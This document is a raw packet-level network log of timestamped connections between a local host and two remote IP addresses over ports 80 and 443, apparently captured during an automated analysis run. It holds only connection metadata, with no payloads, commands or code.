Oct 7, 2024 18:00:44.590008974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.590034008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.590050936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.614090919 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.615917921 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.615938902 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.616400957 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.616405964 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.644378901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644409895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644424915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644485950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644500971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644515991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644531965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.644630909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.657380104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657397985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657413960 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657437086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657452106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657465935 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657474995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.657480001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657496929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657500029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.657509089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.657519102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.657551050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.657553911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657571077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.657608032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658031940 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658046961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658061028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658077002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658077002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658093929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658104897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658108950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658133030 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658152103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658346891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658363104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658410072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658423901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658443928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658458948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658468008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658472061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658485889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658498049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658499956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658513069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658523083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658526897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658540010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658565044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658587933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658603907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658620119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658637047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658639908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658653975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658657074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658672094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658679962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658695936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658710957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658730030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658745050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658760071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658767939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658775091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658783913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658792019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658802986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658807993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658818960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658823967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658835888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658839941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658853054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658857107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658868074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658873081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658885956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658890963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658900976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658916950 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658927917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658935070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658945084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658961058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658966064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658977985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658982038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.658994913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.658997059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659009933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659010887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659029961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659044027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659075022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659090042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659105062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659110069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659128904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659128904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659143925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659147978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659162998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659163952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659181118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659195900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659205914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659205914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659214973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659218073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659239054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659250021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659337997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659353971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659368992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659392118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659408092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659415960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659415960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659442902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659475088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659488916 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659531116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659617901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659634113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659651041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659657001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659667015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659681082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659682989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659696102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659701109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659713984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659718037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659735918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659739017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659751892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659763098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659769058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659778118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659795046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659811974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659908056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659924030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659939051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659945965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659959078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659960032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659975052 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.659976959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.659993887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660001040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660010099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660015106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660026073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660037041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660048008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660048962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660067081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660082102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660376072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660393000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660408974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660413980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660427094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660427094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660442114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660445929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660459995 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660463095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660479069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660480976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.660495996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.660512924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.664391994 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.664853096 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.664875031 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.665293932 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.665302038 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.672724962 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.674427986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674488068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674504042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674516916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674546957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674546957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674623013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674638987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674662113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674664974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674680948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674683094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.674705029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674721956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.674859047 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.674877882 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.675403118 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.675407887 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.715743065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.715765953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.715784073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.715873957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.716020107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.716036081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.716051102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.716065884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.716078043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.716094971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.716115952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.717035055 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.717102051 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.717163086 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.717360020 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.717380047 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.717391014 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.717396975 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.719893932 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.719949007 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.720025063 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.720151901 CEST	49868	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.720168114 CEST	443	49868	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.729142904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729159117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729173899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729218960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.729254961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.729280949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729298115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729312897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729327917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.729340076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.729368925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.741899967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.741908073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.741910934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.741976023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742038012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742053986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742068052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742080927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742084026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742109060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742134094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742275953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742290974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742305994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742328882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742332935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742345095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742357016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742361069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742377996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.742393970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.742422104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743419886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743434906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743453026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743479967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743524075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743530035 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743556023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743571043 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743571997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743587971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743593931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743604898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743616104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743622065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743681908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743681908 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743697882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743714094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743730068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743745089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743757010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743762970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743767023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743786097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743798018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743803978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743818998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743827105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743834019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743839979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743844032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743858099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743877888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743880033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743892908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743908882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743923903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743928909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743928909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743942022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.743961096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.743984938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744307041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744322062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744337082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744350910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744353056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744364023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744369030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744383097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744385958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744402885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744410038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744410992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744421959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744427919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744437933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744452000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744452953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744469881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744469881 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744483948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744508028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744646072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744661093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744674921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744688034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744689941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744702101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744705915 CEST	80	49831	95.164.90.97	192.168.2.5
